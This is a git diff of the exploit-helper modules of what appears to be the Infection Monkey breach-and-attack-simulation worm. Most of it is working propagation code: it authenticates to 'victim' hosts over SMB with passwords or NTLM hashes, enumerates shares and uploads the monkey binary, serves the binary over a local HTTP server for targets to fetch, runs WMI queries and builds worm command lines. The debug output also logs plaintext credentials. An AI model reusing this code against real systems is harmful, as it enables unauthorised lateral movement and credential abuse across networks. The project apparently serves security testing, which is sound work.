-            del DCOMConnection.OID_SET[port_map]
-
-        DCOMConnection.OID_SET = {}
-        DCOMConnection.PORTMAPS = {}
-        if DCOMConnection.PINGTIMER:
-            DCOMConnection.PINGTIMER.cancel()
-            DCOMConnection.PINGTIMER.join()
-            DCOMConnection.PINGTIMER = None
-
-    @staticmethod
-    def get_object(wmi_connection, object_name):
-        assert isinstance(wmi_connection, WmiTools.WmiConnection)
-        assert wmi_connection.connected, "WmiConnection isn't connected"
-
-        return wmi_connection._iWbemServices.GetObject(object_name)[0]
-
-    @staticmethod
-    def list_object(wmi_connection, object_name, fields=None, where=None):
-        assert isinstance(wmi_connection, WmiTools.WmiConnection)
-        assert wmi_connection.connected, "WmiConnection isn't connected"
-
-        if fields:
-            fields_query = ",".join(fields)
-        else:
-            fields_query = "*"
-
-        wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
-
-        if where:
-            wql_query += " WHERE %s" % (where,)
-
-        LOG.debug("Execution WQL query: %r", wql_query)
-
-        iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
-
-        query = []
-        try:
-            while True:
-                try:
-                    next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
-                    record = next_item.getProperties()
-
-                    if not fields:
-                        fields = list(record.keys())
-
-                    query_record = {}
-                    for key in fields:
-                        query_record[key] = record[key]['value']
-
-                    query.append(query_record)
-                except DCERPCSessionError as exc:
-                    if 1 == exc.error_code:
-                        break
-
-                    raise
-        finally:
-            iEnumWbemClassObject.RemRelease()
-
-        return query
-
-
-class SmbTools(object):
-    @staticmethod
-    def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
-        assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
-        config = infection_monkey.config.WormConfiguration
-        src_file_size = monkeyfs.getsize(src_path)
-
-        smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
-        if not smb:
-            return None
-
-        # skip guest users
-        if smb.isGuestSession() > 0:
-            LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
-                      " LM hash: %s, NTLM hash: %s",
-                      host, username, password, lm_hash, ntlm_hash)
-
-            try:
-                smb.logoff()
-            except:
-                pass
-
-            return None
-
-        try:
-            resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
-        except Exception as exc:
-            LOG.debug("Error requesting server info from %r over SMB: %s",
-                      host, exc)
-            return None
-
-        info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
-                'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
-                'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
-                'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
-                'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
-                'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
-
-        LOG.debug("Connected to %r using %s:\n%s",
-                  host, dialect, pprint.pformat(info))
-
-        try:
-            resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
-        except Exception as exc:
-            LOG.debug("Error enumerating server shares from %r over SMB: %s",
-                      host, exc)
-            return None
-
-        resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
-
-        high_priority_shares = ()
-        low_priority_shares = ()
-        file_name = ntpath.split(dst_path)[-1]
-
-        for i in range(len(resp)):
-            share_name = resp[i]['shi2_netname'].strip("\0 ")
-            share_path = resp[i]['shi2_path'].strip("\0 ")
-            current_uses = resp[i]['shi2_current_uses']
-            max_uses = resp[i]['shi2_max_uses']
-
-            if current_uses >= max_uses:
-                LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
-                          share_name, host)
-                continue
-            elif not share_path:
-                LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
-                          share_name, host)
-                continue
-
-            share_info = {'share_name': share_name,
-                          'share_path': share_path}
-
-            if dst_path.lower().startswith(share_path.lower()):
-                high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
-
-            low_priority_shares += ((ntpath.sep + file_name, share_info),)
-
-        shares = high_priority_shares + low_priority_shares
-
-        file_uploaded = False
-        for remote_path, share in shares:
-            share_name = share['share_name']
-            share_path = share['share_path']
-
-            if not smb:
-                smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
-                if not smb:
-                    return None
-
-            try:
-                tid = smb.connectTree(share_name)
-            except Exception as exc:
-                LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
-                          share_name, host, exc)
-                continue
-
-            LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
-                      share_name, share_path, remote_path, host)
-
-            remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
-
-            # check if file is found on destination
-            if config.skip_exploit_if_file_exist:
-                try:
-                    file_info = smb.listPath(share_name, remote_path)
-                    if file_info:
-                        if src_file_size == file_info[0].get_filesize():
-                            LOG.debug("Remote monkey file is same as source, skipping copy")
-                            return remote_full_path
-
-                        LOG.debug("Remote monkey file is found but different, moving along with attack")
-                except:
-                    pass  # file isn't found on remote victim, moving on
-
-            try:
-                with monkeyfs.open(src_path, 'rb') as source_file:
-                    # make sure of the timeout
-                    smb.setTimeout(timeout)
-                    smb.putFile(share_name, remote_path, source_file.read)
-
-                file_uploaded = True
-
-                LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
-                         src_path, share_name, share_path, host)
-
-                break
-            except Exception as exc:
-                LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
-                          share_name, host, exc)
-                continue
-            finally:
-                try:
-                    smb.logoff()
-                except:
-                    pass
-
-                smb = None
-
-        if not file_uploaded:
-            LOG.debug("Couldn't find a writable share for exploiting"
-                      " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
-                      host, username, password, lm_hash, ntlm_hash)
-            return None
-
-        return remote_full_path
-
-    @staticmethod
-    def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
-        try:
-            smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
-        except Exception as exc:
-            LOG.debug("SMB connection to %r on port 445 failed,"
-                      " trying port 139 (%s)", host, exc)
-
-            try:
-                smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
-            except Exception as exc:
-                LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
-                          host, exc)
-                return None, None
-
-        dialect = {SMB_DIALECT: "SMBv1",
-                   SMB2_DIALECT_002: "SMBv2.0",
-                   SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
-
-        # we know this should work because the WMI connection worked
-        try:
-            smb.login(username, password, '', lm_hash, ntlm_hash)
-        except Exception as exc:
-            LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
-                      host, username, password, lm_hash, ntlm_hash, exc)
-            return None, dialect
-
-        smb.setTimeout(timeout)
-        return smb, dialect
-
-    @staticmethod
-    def execute_rpc_call(smb, rpc_func, *args):
-        dce = SmbTools.get_dce_bind(smb)
-        rpc_method_wrapper = getattr(srvs, rpc_func, None)
-        if not rpc_method_wrapper:
-            raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
-
-        return rpc_method_wrapper(dce, *args)
-
-    @staticmethod
-    def get_dce_bind(smb):
-        rpctransport = transport.SMBTransport(smb.getRemoteHost(),
-                                              smb.getRemoteHost(),
-                                              filename=r'\srvsvc',
-                                              smb_connection=smb)
-        dce = rpctransport.get_dce_rpc()
-        dce.connect()
-        dce.bind(srvs.MSRPC_UUID_SRVS)
-
-        return dce
-
-
-class HTTPTools(object):
-    @staticmethod
-    def create_transfer(host, src_path, local_ip=None, local_port=None):
-        if not local_port:
-            local_port = get_free_tcp_port()
-
-        if not local_ip:
-            local_ip = get_interface_to_target(host.ip_addr)
-
-        if not firewall.listen_allowed():
-            return None, None
-
-        httpd = HTTPServer(local_ip, local_port, src_path)
-        httpd.daemon = True
-        httpd.start()
-
-        return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
-
-    @staticmethod
-    def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
-        """
-        Create http server for file transfer with a lock
-        :param host: Variable with target's information
-        :param src_path: Monkey's path on current system
-        :param local_ip: IP where to host server
-        :param local_port: Port at which to host monkey's download
-        :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
-        """
-        # To avoid race conditions we pass a locked lock to http servers thread
-        lock = Lock()
-        lock.acquire()
-        if not local_port:
-            local_port = get_free_tcp_port()
-
-        if not local_ip:
-            local_ip = get_interface_to_target(host.ip_addr)
-
-        if not firewall.listen_allowed():
-            LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
-            return None, None
-
-        httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
-        httpd.start()
-        lock.acquire()
-        return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
-
-
-def get_interface_to_target(dst):
-    if sys.platform == "win32":
-        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-        try:
-            s.connect((dst, 1))
-            ip_to_dst = s.getsockname()[0]
-        except KeyError:
-            ip_to_dst = '127.0.0.1'
-        finally:
-            s.close()
-        return ip_to_dst
-    else:
-        # based on scapy implementation
-
-        def atol(x):
-            ip = socket.inet_aton(x)
-            return struct.unpack("!I", ip)[0]
-
-        routes = get_routes()
-        dst = atol(dst)
-        paths = []
-        for d, m, gw, i, a in routes:
-            aa = atol(a)
-            if aa == dst:
-                paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
-            if (dst & m) == (d & m):
-                paths.append((m, (i, a, gw)))
-        if not paths:
-            return None
-        paths.sort()
-        ret = paths[-1][1]
-        return ret[1]
-
-
-def get_target_monkey(host):
-    from infection_monkey.control import ControlClient
-    import platform
-    import sys
-
-    if host.monkey_exe:
-        return host.monkey_exe
-
-    if not host.os.get('type'):
-        return None
-
-    monkey_path = ControlClient.download_monkey_exe(host)
-
-    if host.os.get('machine') and monkey_path:
-        host.monkey_exe = monkey_path
-
-    if not monkey_path:
-        if host.os.get('type') == platform.system().lower():
-            # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
-            if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
-                            host.os.get('machine', '').lower() == platform.machine().lower():
-                monkey_path = sys.executable
-
-    return monkey_path
-
-
-def get_target_monkey_by_os(is_windows, is_32bit):
-    from infection_monkey.control import ControlClient
-    return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
-
-
-def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
-    cmdline = ""
-
-    if parent is not None:
-        cmdline += " -p " + parent
-    if tunnel is not None:
-        cmdline += " -t " + tunnel
-    if server is not None:
-        cmdline += " -s " + server
-    if depth is not None:
-        if depth < 0:
-            depth = 0
-        cmdline += " -d %d" % depth
-    if location is not None:
-        cmdline += " -l %s" % location
-
-    return cmdline
-
-
-def build_monkey_commandline(target_host, depth, location=None):
-    from infection_monkey.config import GUID
-    return build_monkey_commandline_explicitly(
-        GUID, target_host.default_tunnel, target_host.default_server, depth, location)
-
-
-def get_monkey_depth():
-    from infection_monkey.config import WormConfiguration
-    return WormConfiguration.depth
-
-
-def get_monkey_dest_path(url_to_monkey):
-    """
-    Gets destination path from monkey's source url.
-    :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
-    :return: Corresponding monkey path from configuration
-    """
-    from infection_monkey.config import WormConfiguration
-    if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
-        LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
-        return False
-    try:
-        if 'linux' in url_to_monkey:
-            return WormConfiguration.dropper_target_path_linux
-        elif 'windows-32' in url_to_monkey:
-            return WormConfiguration.dropper_target_path_win_32
-        elif 'windows-64' in url_to_monkey:
-            return WormConfiguration.dropper_target_path_win_64
-        else:
-            LOG.error("Could not figure out what type of monkey server was trying to upload, "
-                      "thus destination path can not be chosen.")
-            return False
-    except AttributeError:
-        LOG.error("Seems like monkey's source configuration property names changed. "
-                  "Can not get destination path to upload monkey")
-        return False
diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py
new file mode 100644
index 000000000..eabe8d9d7
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/exceptions.py
@@ -0,0 +1,5 @@
+
+
+class ExploitingVulnerableMachineError(Exception):
+    """ Raise when exploiter failed, but machine is vulnerable"""
+    pass
diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py
new file mode 100644
index 000000000..91a25c270
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/helpers.py
@@ -0,0 +1,142 @@
+import logging
+import socket
+import struct
+import sys
+
+from infection_monkey.network.info import get_routes
+
+LOG = logging.getLogger(__name__)
+
+
+def get_interface_to_target(dst):
+    """
+    :param dst: destination IP address string without port. E.G. '192.168.1.1.'
+    :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
+    """
+    if sys.platform == "win32":
+        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        try:
+            s.connect((dst, 1))
+            ip_to_dst = s.getsockname()[0]
+        except KeyError:
+            LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
+            ip_to_dst = '127.0.0.1'
+        finally:
+            s.close()
+        return ip_to_dst
+    else:
+        # based on scapy implementation
+
+        def atol(x):
+            ip = socket.inet_aton(x)
+            return struct.unpack("!I", ip)[0]
+
+        routes = get_routes()
+        dst = atol(dst)
+        paths = []
+        for d, m, gw, i, a in routes:
+            aa = atol(a)
+            if aa == dst:
+                paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
+            if (dst & m) == (d & m):
+                paths.append((m, (i, a, gw)))
+        if not paths:
+            return None
+        paths.sort()
+        ret = paths[-1][1]
+        return ret[1]
+
+
+def try_get_target_monkey(host):
+    src_path = get_target_monkey(host)
+    if not src_path:
+        raise Exception("Can't find suitable monkey executable for host %r", host)
+    return src_path
+
+
+def get_target_monkey(host):
+    from infection_monkey.control import ControlClient
+    import platform
+    import sys
+
+    if host.monkey_exe:
+        return host.monkey_exe
+
+    if not host.os.get('type'):
+        return None
+
+    monkey_path = ControlClient.download_monkey_exe(host)
+
+    if host.os.get('machine') and monkey_path:
+        host.monkey_exe = monkey_path
+
+    if not monkey_path:
+        if host.os.get('type') == platform.system().lower():
+            # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
+            if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
+                            host.os.get('machine', '').lower() == platform.machine().lower():
+                monkey_path = sys.executable
+
+    return monkey_path
+
+
+def get_target_monkey_by_os(is_windows, is_32bit):
+    from infection_monkey.control import ControlClient
+    return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
+
+
+def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
+    cmdline = ""
+
+    if parent is not None:
+        cmdline += " -p " + parent
+    if tunnel is not None:
+        cmdline += " -t " + tunnel
+    if server is not None:
+        cmdline += " -s " + server
+    if depth is not None:
+        if depth < 0:
+            depth = 0
+        cmdline += " -d %d" % depth
+    if location is not None:
+        cmdline += " -l %s" % location
+
+    return cmdline
+
+
+def build_monkey_commandline(target_host, depth, location=None):
+    from infection_monkey.config import GUID
+    return build_monkey_commandline_explicitly(
+        GUID, target_host.default_tunnel, target_host.default_server, depth, location)
+
+
+def get_monkey_depth():
+    from infection_monkey.config import WormConfiguration
+    return WormConfiguration.depth
+
+
+def get_monkey_dest_path(url_to_monkey):
+    """
+    Gets destination path from monkey's source url.
+    :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+    :return: Corresponding monkey path from configuration
+    """
+    from infection_monkey.config import WormConfiguration
+    if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
+        LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
+        return False
+    try:
+        if 'linux' in url_to_monkey:
+            return WormConfiguration.dropper_target_path_linux
+        elif 'windows-32' in url_to_monkey:
+            return WormConfiguration.dropper_target_path_win_32
+        elif 'windows-64' in url_to_monkey:
+            return WormConfiguration.dropper_target_path_win_64
+        else:
+            LOG.error("Could not figure out what type of monkey server was trying to upload, "
+                      "thus destination path can not be chosen.")
+            return False
+    except AttributeError:
+        LOG.error("Seems like monkey's source configuration property names changed. "
+                  "Can not get destination path to upload monkey")
+        return False
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
new file mode 100644
index 000000000..19b45b043
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -0,0 +1,90 @@
+import logging
+import os
+import os.path
+import urllib
+from threading import Lock
+
+from infection_monkey.network.firewall import app as firewall
+from infection_monkey.network.info import get_free_tcp_port
+from infection_monkey.transport import HTTPServer, LockedHTTPServer
+from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
+from infection_monkey.model import DOWNLOAD_TIMEOUT
+
+__author__ = 'itamar'
+
+LOG = logging.getLogger(__name__)
+
+
+class HTTPTools(object):
+
+    @staticmethod
+    def create_transfer(host, src_path, local_ip=None, local_port=None):
+        if not local_port:
+            local_port = get_free_tcp_port()
+
+        if not local_ip:
+            local_ip = get_interface_to_target(host.ip_addr)
+
+        if not firewall.listen_allowed():
+            return None, None
+
+        httpd = HTTPServer(local_ip, local_port, src_path)
+        httpd.daemon = True
+        httpd.start()
+
+        return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
+    @staticmethod
+    def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+        http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
+        if not http_path:
+            raise Exception("Http transfer creation failed.")
+        LOG.info("Started http server on %s", http_path)
+        return http_path, http_thread
+
+    @staticmethod
+    def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+        """
+        Create http server for file transfer with a lock
+        :param host: Variable with target's information
+        :param src_path: Monkey's path on current system
+        :param local_ip: IP where to host server
+        :param local_port: Port at which to host monkey's download
+        :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
+        """
+        # To avoid race conditions we pass a locked lock to http servers thread
+        lock = Lock()
+        lock.acquire()
+        if not local_port:
+            local_port = get_free_tcp_port()
+
+        if not local_ip:
+            local_ip = get_interface_to_target(host.ip_addr)
+
+        if not firewall.listen_allowed():
+            LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
+            return None, None
+
+        httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
+        httpd.start()
+        lock.acquire()
+        return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
+
+class MonkeyHTTPServer(HTTPTools):
+    def __init__(self, host):
+        super(MonkeyHTTPServer, self).__init__()
+        self.http_path = None
+        self.http_thread = None
+        self.host = host
+
+    def start(self):
+        # Get monkey exe for host and it's path
+        src_path = try_get_target_monkey(self.host)
+        self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
+
+    def stop(self):
+        if not self.http_path or not self.http_thread:
+            raise RuntimeError("Can't stop http server that wasn't started!")
+        self.http_thread.join(DOWNLOAD_TIMEOUT)
+        self.http_thread.stop()
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py
new file mode 100644
index 000000000..31632b045
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py
@@ -0,0 +1,63 @@
+import logging
+import textwrap
+
+LOG = logging.getLogger(__name__)
+
+
+class Payload(object):
+    """
+    Class for defining and parsing a payload (commands with prefixes/suffixes)
+    """
+
+    def __init__(self, command, prefix="", suffix=""):
+        self.command = command
+        self.prefix = prefix
+        self.suffix = suffix
+
+    def get_payload(self, command=""):
+        """
+        Returns prefixed and suffixed command (payload)
+        :param command: Command to suffix/prefix. If no command is passed than objects' property is used
+        :return: prefixed and suffixed command (full payload)
+        """
+        if not command:
+            command = self.command
+        return "{}{}{}".format(self.prefix, command, self.suffix)
+
+
+class LimitedSizePayload(Payload):
+    """
+    Class for defining and parsing commands/payloads
+    """
+
+    def __init__(self, command, max_length, prefix="", suffix=""):
+        """
+        :param command: command
+        :param max_length: max length that payload(prefix + command + suffix) can have
+        :param prefix: commands prefix
+        :param suffix: commands suffix
+        """
+        super(LimitedSizePayload, self).__init__(command, prefix, suffix)
+        self.max_length = max_length
+
+    def is_suffix_and_prefix_too_long(self):
+        return self.payload_is_too_long(self.suffix + self.prefix)
+
+    def split_into_array_of_smaller_payloads(self):
+        if self.is_suffix_and_prefix_too_long():
+            raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
+                            "exceeds required length of command.")
+
+        elif self.command == "":
+            return [self.prefix+self.suffix]
+        wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
+        commands = [self.get_payload(part)
+                    for part
+                    in wrapper.wrap(self.command)]
+        return commands
+
+    def get_max_sub_payload_length(self):
+        return self.max_length - len(self.prefix) - len(self.suffix)
+
+    def payload_is_too_long(self, command):
+        return len(command) >= self.max_length
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
new file mode 100644
index 000000000..af682dbff
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
@@ -0,0 +1,32 @@
+from unittest import TestCase
+from payload_parsing import Payload, LimitedSizePayload
+
+
+class TestPayload(TestCase):
+    def test_get_payload(self):
+        test_str1 = "abc"
+        test_str2 = "atc"
+        payload = Payload(command="b", prefix="a", suffix="c")
+        assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
+
+    def test_is_suffix_and_prefix_too_long(self):
+        pld_fail = LimitedSizePayload("b", 2, "a", "c")
+        pld_success = LimitedSizePayload("b", 3, "a", "c")
+        assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
+
+    def test_split_into_array_of_smaller_payloads(self):
+        test_str1 = "123456789"
+        pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
+        array1 = pld1.split_into_array_of_smaller_payloads()
+        test1 = bool(array1[0] == "prefix1234suffix" and
+                     array1[1] == "prefix5678suffix" and
+                     array1[2] == "prefix9suffix")
+
+        test_str2 = "12345678"
+        pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
+        array2 = pld2.split_into_array_of_smaller_payloads()
+        test2 = bool(array2[0] == "prefix1234suffix" and
+                     array2[1] == "prefix5678suffix" and len(array2) == 2)
+
+        assert test1 and test2
+
diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py
new file mode 100644
index 000000000..6ca0b63ad
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/smb_tools.py
@@ -0,0 +1,223 @@
+import logging
+import ntpath
+import pprint
+
+from impacket.dcerpc.v5 import transport, srvs
+from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
+from impacket.smbconnection import SMBConnection, SMB_DIALECT
+
+import infection_monkey.config
+import infection_monkey.monkeyfs as monkeyfs
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
+
+__author__ = 'itamar'
+
+LOG = logging.getLogger(__name__)
+
+
+class SmbTools(object):
+
+    @staticmethod
+    def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
+        assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
+        config = infection_monkey.config.WormConfiguration
+        src_file_size = monkeyfs.getsize(src_path)
+
+        smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
+        if not smb:
+            return None
+
+        # skip guest users
+        if smb.isGuestSession() > 0:
+            LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
+                      " LM hash: %s, NTLM hash: %s",
+                      host, username, password, lm_hash, ntlm_hash)
+
+            try:
+                smb.logoff()
+            except:
+                pass
+
+            return None
+
+        try:
+            resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
+        except Exception as exc:
+            LOG.debug("Error requesting server info from %r over SMB: %s",
+                      host, exc)
+            return None
+
+        info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
+                'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
+                'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
+                'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
+                'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
+                'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
+
+        LOG.debug("Connected to %r using %s:\n%s",
+                  host, dialect, pprint.pformat(info))
+
+        try:
+            resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
+        except Exception as exc:
+            LOG.debug("Error enumerating server shares from %r over SMB: %s",
+                      host, exc)
+            return None
+
+        resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
+
+        high_priority_shares = ()
+        low_priority_shares = ()
+        file_name = ntpath.split(dst_path)[-1]
+
+        for i in range(len(resp)):
+            share_name = resp[i]['shi2_netname'].strip("\0 ")
+            share_path = resp[i]['shi2_path'].strip("\0 ")
+            current_uses = resp[i]['shi2_current_uses']
+            max_uses = resp[i]['shi2_max_uses']
+
+            if current_uses >= max_uses:
+                LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
+                          share_name, host)
+                continue
+            elif not share_path:
+                LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
+                          share_name, host)
+                continue
+
+            share_info = {'share_name': share_name,
+                          'share_path': share_path}
+
+            if dst_path.lower().startswith(share_path.lower()):
+                high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
+
+            low_priority_shares += ((ntpath.sep + file_name, share_info),)
+
+        shares = high_priority_shares + low_priority_shares
+
+        file_uploaded = False
+        for remote_path, share in shares:
+            share_name = share['share_name']
+            share_path = share['share_path']
+
+            if not smb:
+                smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
+                if not smb:
+                    return None
+
+            try:
+                tid = smb.connectTree(share_name)
+            except Exception as exc:
+                LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
+                          share_name, host, exc)
+                continue
+
+            LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
+                      share_name, share_path, remote_path, host.ip_addr[0], )
+
+            remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
+
+            # check if file is found on destination
+            if config.skip_exploit_if_file_exist:
+                try:
+                    file_info = smb.listPath(share_name, remote_path)
+                    if file_info:
+                        if src_file_size == file_info[0].get_filesize():
+                            LOG.debug("Remote monkey file is same as source, skipping copy")
+                            return remote_full_path
+
+                        LOG.debug("Remote monkey file is found but different, moving along with attack")
+                except:
+                    pass  # file isn't found on remote victim, moving on
+
+            try:
+                with monkeyfs.open(src_path, 'rb') as source_file:
+                    # make sure of the timeout
+                    smb.setTimeout(timeout)
+                    smb.putFile(share_name, remote_path, source_file.read)
+
+                file_uploaded = True
+                T1105Telem(ScanStatus.USED,
+                           get_interface_to_target(host.ip_addr),
+                           host.ip_addr,
+                           dst_path).send()
+                LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
+                         src_path, share_name, share_path, host)
+
+                break
+            except Exception as exc:
+                LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
+                          share_name, host, exc)
+                T1105Telem(ScanStatus.SCANNED,
+                           get_interface_to_target(host.ip_addr),
+                           host.ip_addr,
+                           dst_path).send()
+                continue
+            finally:
+                try:
+                    smb.logoff()
+                except:
+                    pass
+
+                smb = None
+
+        if not file_uploaded:
+            LOG.debug("Couldn't find a writable share for exploiting"
+                      " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
+                      host, username, password, lm_hash, ntlm_hash)
+            return None
+
+        return remote_full_path
+
+    @staticmethod
+    def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
+        try:
+            smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
+        except Exception as exc:
+            LOG.debug("SMB connection to %r on port 445 failed,"
+                      " trying port 139 (%s)", host, exc)
+
+            try:
+                smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
+            except Exception as exc:
+                LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
+                          host, exc)
+                return None, None
+
+        dialect = {SMB_DIALECT: "SMBv1",
+                   SMB2_DIALECT_002: "SMBv2.0",
+                   SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
+
+        # we know this should work because the WMI connection worked
+        try:
+            smb.login(username, password, '', lm_hash, ntlm_hash)
+        except Exception as exc:
+            LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
+                      host, username, password, lm_hash, ntlm_hash, exc)
+            return None, dialect
+
+        smb.setTimeout(timeout)
+        return smb, dialect
+
